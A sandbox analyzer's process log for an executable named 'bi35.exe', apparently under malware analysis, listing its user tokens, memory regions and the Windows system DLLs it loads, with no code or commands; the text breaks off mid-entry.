# Flog Txt Version 1 # Analyzer Version: 2.2.0 # Analyzer Build Date: Jan 26 2018 18:27:20 # Log Creation Date: 26.01.2018 17:51:40.490 Process: id = "1" image_name = "bi35.exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe" page_root = "0x6a3a1000" os_pid = "0x478" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013d92" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 6 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 7 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 8 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9 start_va = 0x400000 end_va = 0x426fff entry_point = 0x400000 region_type = mapped_file name = "bi35.exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe") Region: id = 10 start_va = 0x77190000 end_va = 0x77308fff entry_point = 0x77190000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 12 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 13 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 14 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7ffb3d30ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 17 start_va = 0x7ffb3d310000 end_va = 0x7ffb3d4d1fff entry_point = 0x7ffb3d310000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 18 start_va = 0x7ffb3d4d2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffb3d4d2000" filename = "" Region: id = 158 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 159 start_va = 0x5ca00000 end_va = 0x5ca72fff entry_point = 0x5ca00000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 160 start_va = 0x5ca80000 end_va = 0x5cacefff entry_point = 0x5ca80000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 161 start_va = 0x5c9f0000 end_va = 0x5c9f7fff entry_point = 0x5c9f0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 162 start_va = 0x530000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 163 start_va = 0x75f20000 end_va = 0x76095fff entry_point = 0x75f20000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 164 start_va = 0x76bc0000 end_va = 0x76caffff entry_point = 0x76bc0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 165 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 166 start_va = 0x230000 end_va = 0x2edfff entry_point = 0x230000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 167 start_va = 0x74190000 end_va = 0x74220fff entry_point = 0x74190000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 168 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 169 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 170 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 171 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 172 start_va = 0x73390000 end_va = 0x73395fff entry_point = 0x73390000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 173 start_va = 0x74230000 end_va = 0x74288fff entry_point = 0x74230000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 174 start_va = 0x74290000 end_va = 0x74299fff entry_point = 0x74290000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 175 start_va = 0x742a0000 end_va = 0x742bdfff entry_point = 0x742a0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 176 start_va = 0x74500000 end_va = 0x7463ffff entry_point = 0x74500000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 177 start_va = 0x75b80000 end_va = 0x75c3dfff entry_point = 0x75b80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 178 start_va = 0x75d40000 end_va = 0x75dbafff entry_point = 0x75d40000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 179 start_va = 0x75e70000 end_va = 0x75f1bfff entry_point = 0x75e70000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 180 start_va = 0x760a0000 end_va = 0x760e2fff entry_point = 0x760a0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 181 start_va = 0x769b0000 end_va = 0x76afcfff entry_point = 0x769b0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 182 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 183 start_va = 0x630000 end_va = 0x7b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 184 start_va = 0x9b0000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 185 start_va = 0x74730000 end_va = 0x7475afff entry_point = 0x74730000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 186 start_va = 0x77070000 end_va = 0x7718ffff entry_point = 0x77070000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 187 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 188 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 189 start_va = 0x7c0000 end_va = 0x940fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 190 start_va = 0x9c0000 end_va = 0x1dbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 191 start_va = 0x1dc0000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 192 start_va = 0x430000 end_va = 0x441fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 193 start_va = 0x74760000 end_va = 0x75b1efff entry_point = 0x74760000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 194 start_va = 0x764d0000 end_va = 0x769acfff entry_point = 0x764d0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 195 start_va = 0x76cf0000 end_va = 0x76ea9fff entry_point = 0x76cf0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 196 start_va = 0x75dc0000 end_va = 0x75e03fff entry_point = 0x75dc0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 197 start_va = 0x76eb0000 end_va = 0x76ebbfff entry_point = 0x76eb0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 198 start_va = 0x76280000 end_va = 0x7630cfff entry_point = 0x76280000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 199 start_va = 0x75c40000 end_va = 0x75c83fff entry_point = 0x75c40000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 200 start_va = 0x77050000 end_va = 0x7705efff entry_point = 0x77050000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 201 start_va = 0x76ec0000 end_va = 0x77034fff entry_point = 0x76ec0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 202 start_va = 0x77060000 end_va = 0x7706dfff entry_point = 0x77060000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 203 start_va = 0x73b20000 end_va = 0x73d43fff entry_point = 0x73b20000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 204 start_va = 0x732d0000 end_va = 0x7338efff entry_point = 0x732d0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 205 start_va = 0x1dc0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 206 start_va = 0x1f00000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 207 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 208 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 209 start_va = 0x430000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 210 start_va = 0x1dc0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 211 start_va = 0x1ee0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 212 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 213 start_va = 0x74110000 end_va = 0x74184fff entry_point = 0x74110000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 214 start_va = 0x470000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 215 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 216 start_va = 0x1f10000 end_va = 0x1fc7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 217 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 218 start_va = 0x740f0000 end_va = 0x7410cfff entry_point = 0x740f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 219 start_va = 0x470000 end_va = 0x473fff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 220 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 221 start_va = 0x480000 end_va = 0x485fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 222 start_va = 0x490000 end_va = 0x490fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 223 start_va = 0x490000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 224 start_va = 0x1fd0000 end_va = 0x2306fff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 225 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 226 start_va = 0x2410000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 227 start_va = 0x2450000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 228 start_va = 0x2550000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 229 start_va = 0x2590000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 230 start_va = 0x2690000 end_va = 0x26cffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 231 start_va = 0x26d0000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 232 start_va = 0x27d0000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 233 start_va = 0x2810000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 234 start_va = 0x2910000 end_va = 0x294ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 235 start_va = 0x2950000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 236 start_va = 0x2a50000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 237 start_va = 0x2a90000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 238 start_va = 0x2b90000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 239 start_va = 0x2bd0000 end_va = 0x2ccffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 240 start_va = 0x2cd0000 end_va = 0x2d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 241 start_va = 0x2d10000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 242 start_va = 0x2e10000 end_va = 0x2e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 243 start_va = 0x2e50000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e50000" filename = "" Region: id = 244 start_va = 0x2f50000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 245 start_va = 0x2f90000 end_va = 0x308ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 246 start_va = 0x3090000 end_va = 0x30cffff entry_point = 0x0 region_type = private name = "private_0x0000000003090000" filename = "" Region: id = 247 start_va = 0x30d0000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 248 start_va = 0x31d0000 end_va = 0x320ffff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 249 start_va = 0x3210000 end_va = 0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 250 start_va = 0x3310000 end_va = 0x334ffff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 251 start_va = 0x3350000 end_va = 0x344ffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 252 start_va = 0x3450000 end_va = 0x348ffff entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 253 start_va = 0x3490000 end_va = 0x358ffff entry_point = 0x0 region_type = private name = "private_0x0000000003490000" filename = "" Region: id = 254 start_va = 0x3590000 end_va = 0x35cffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 255 start_va = 0x35d0000 end_va = 0x36cffff entry_point = 0x0 region_type = private name = "private_0x00000000035d0000" filename = "" Region: id = 256 start_va = 0x36d0000 end_va = 0x370ffff entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 257 start_va = 0x3710000 end_va = 0x380ffff entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 258 start_va = 0x3810000 end_va = 0x384ffff entry_point = 0x0 region_type = private name = "private_0x0000000003810000" filename = "" Region: id = 259 start_va = 0x3850000 end_va = 0x394ffff entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 260 start_va = 0x3950000 end_va = 0x398ffff entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 261 start_va = 0x3990000 end_va = 0x3a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003990000" filename = "" Region: id = 262 start_va = 0x3a90000 end_va = 0x3acffff entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 263 start_va = 0x3ad0000 end_va = 0x3bcffff entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 264 start_va = 0x3bd0000 end_va = 0x3c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003bd0000" filename = "" Region: id = 265 start_va = 0x3c10000 end_va = 0x3d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 266 start_va = 0x3d10000 end_va = 0x3d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d10000" filename = "" Region: id = 267 start_va = 0x3d50000 end_va = 0x3e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d50000" filename = "" Region: id = 268 start_va = 0x3e50000 end_va = 0x3e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 269 start_va = 0x3e90000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 270 start_va = 0x3f90000 end_va = 0x3fcffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 271 start_va = 0x3fd0000 end_va = 0x40cffff entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 272 start_va = 0x40d0000 end_va = 0x410ffff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 273 start_va = 0x4110000 end_va = 0x420ffff entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 274 start_va = 0x4210000 end_va = 0x424ffff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 275 start_va = 0x4250000 end_va = 0x434ffff entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 276 start_va = 0x4350000 end_va = 0x438ffff entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 277 start_va = 0x4390000 end_va = 0x448ffff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 278 start_va = 0x4490000 end_va = 0x44cffff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 279 start_va = 0x44d0000 end_va = 0x45cffff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 280 start_va = 0x45d0000 end_va = 0x460ffff entry_point = 0x0 region_type = private name = "private_0x00000000045d0000" filename = "" Region: id = 281 start_va = 0x4610000 end_va = 0x470ffff entry_point = 0x0 region_type = private name = "private_0x0000000004610000" filename = "" Region: id = 282 start_va = 0x4710000 end_va = 0x474ffff entry_point = 0x0 region_type = private name = "private_0x0000000004710000" filename = "" Region: id = 283 start_va = 0x4750000 end_va = 0x484ffff entry_point = 0x0 region_type = private name = "private_0x0000000004750000" filename = "" Region: id = 284 start_va = 0x4850000 end_va = 0x488ffff entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 285 start_va = 0x4890000 end_va = 0x498ffff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 286 start_va = 0x4990000 end_va = 0x49cffff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 287 start_va = 0x49d0000 end_va = 0x4acffff entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 288 start_va = 0x7fe50000 end_va = 0x7fe52fff entry_point = 0x0 region_type = private name = "private_0x000000007fe50000" filename = "" Region: id = 289 start_va = 0x7fe53000 end_va = 0x7fe55fff entry_point = 0x0 region_type = private name = "private_0x000000007fe53000" filename = "" Region: id = 290 start_va = 0x7fe56000 end_va = 0x7fe58fff entry_point = 0x0 region_type = private name = "private_0x000000007fe56000" filename = "" Region: id = 291 start_va = 0x7fe59000 end_va = 0x7fe5bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe59000" filename = "" Region: id = 292 start_va = 0x7fe5c000 end_va = 0x7fe5efff entry_point = 0x0 region_type = private name = "private_0x000000007fe5c000" filename = "" Region: id = 293 start_va = 0x7fe5f000 end_va = 0x7fe61fff entry_point = 0x0 region_type = private name = "private_0x000000007fe5f000" filename = "" Region: id = 294 start_va = 0x7fe62000 end_va = 0x7fe64fff entry_point = 0x0 region_type = private name = "private_0x000000007fe62000" filename = "" Region: id = 295 start_va = 0x7fe65000 end_va = 0x7fe67fff entry_point = 0x0 region_type = private name = "private_0x000000007fe65000" filename = "" Region: id = 296 start_va = 0x7fe68000 end_va = 0x7fe6afff entry_point = 0x0 region_type = private name = "private_0x000000007fe68000" filename = "" Region: id = 297 start_va = 0x7fe6b000 end_va = 0x7fe6dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe6b000" filename = "" Region: id = 298 start_va = 0x7fe6e000 end_va = 0x7fe70fff entry_point = 0x0 region_type = private name = "private_0x000000007fe6e000" filename = "" Region: id = 299 start_va = 0x7fe71000 end_va = 0x7fe73fff entry_point = 0x0 region_type = private name = "private_0x000000007fe71000" filename = "" Region: id = 300 start_va = 0x7fe74000 end_va = 0x7fe76fff entry_point = 0x0 region_type = private name = "private_0x000000007fe74000" filename = "" Region: id = 301 start_va = 0x7fe77000 end_va = 0x7fe79fff entry_point = 0x0 region_type = private name = "private_0x000000007fe77000" filename = "" Region: id = 302 start_va = 0x7fe7a000 end_va = 0x7fe7cfff entry_point = 0x0 region_type = private name = "private_0x000000007fe7a000" filename = "" Region: id = 303 start_va = 0x7fe7d000 end_va = 0x7fe7ffff entry_point = 0x0 region_type = private name = "private_0x000000007fe7d000" filename = "" Region: id = 304 start_va = 0x7fe80000 end_va = 0x7fe82fff entry_point = 0x0 region_type = private name = "private_0x000000007fe80000" filename = "" Region: id = 305 start_va = 0x7fe83000 end_va = 0x7fe85fff entry_point = 0x0 region_type = private name = "private_0x000000007fe83000" filename = "" Region: id = 306 start_va = 0x7fe86000 end_va = 0x7fe88fff entry_point = 0x0 region_type = private name = "private_0x000000007fe86000" filename = "" Region: id = 307 start_va = 0x7fe89000 end_va = 0x7fe8bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe89000" filename = "" Region: id = 308 start_va = 0x7fe8c000 end_va = 0x7fe8efff entry_point = 0x0 region_type = private name = "private_0x000000007fe8c000" filename = "" Region: id = 309 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 310 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 311 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 312 start_va = 0x7fe98000 end_va = 0x7fe9afff entry_point = 0x0 region_type = private name = "private_0x000000007fe98000" filename = "" Region: id = 313 start_va = 0x7fe9b000 end_va = 0x7fe9dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe9b000" filename = "" Region: id = 314 start_va = 0x7fe9e000 end_va = 0x7fea0fff entry_point = 0x0 region_type = private name = "private_0x000000007fe9e000" filename = "" Region: id = 315 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 316 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 317 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 318 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 319 start_va = 0x733e0000 end_va = 0x733f2fff entry_point = 0x733e0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 320 start_va = 0x73410000 end_va = 0x7342afff entry_point = 0x73410000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 321 start_va = 0x733b0000 end_va = 0x733defff entry_point = 0x733b0000 region_type = mapped_file name = "rsaenh.dll" filename = 